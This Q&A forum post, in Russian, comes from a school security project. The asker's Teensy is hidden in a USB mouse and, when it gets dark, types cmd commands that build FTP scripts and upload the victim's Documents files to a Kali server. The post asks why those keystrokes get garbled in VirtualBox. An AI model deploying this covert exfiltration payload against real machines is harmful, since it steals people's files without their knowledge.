VirtualBox Keystroke получает случайные изменения

У меня есть школьный проект об этом безопасности. Моя работа заключается в том, чтобы настроить аппаратную мышь с USB-концентратором и подростком для ее программирования.

Код на подростке исполняется, когда стемнеет (светозависимый резистор). Код берет некоторые файлы на win7 vm и загружает их на сервер Apache2, размещенный на kali vm (с помощью команд cmd в win7 vm). В vmware все работает нормально, но я должен использовать virtualbox для своего проекта.

Моя проблема сейчас в том, что в virtualbox команды cmd случайным образом меняются, например: некоторые буквы меняются с нижнего на верхний регистр, что приводит к неправильному пути, поэтому файлы не могут быть найдены, или иногда отсутствует обратный слеш, который также приводит к неправильному пути.

Как я уже сказал, это только в virtualbox, в vmware весь мой проект работает отлично, поэтому я не думаю, что это аппаратная проблема

Я использую последнюю версию Virtualbox 5.0.12

Это (не факт) образец моего подросткового сценария

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");

1 ответ

Я выяснил, в чем проблема. Я забыл вручную связать USB Teensy в Virtualbox с флажком, так что я думаю, что у него были некоторые проблемы с драйверами и тем, чего я не знаю.

Теперь он работает, пока я всегда связываю его вручную в virtualbox, прежде чем запускать его.

Другие вопросы по тегам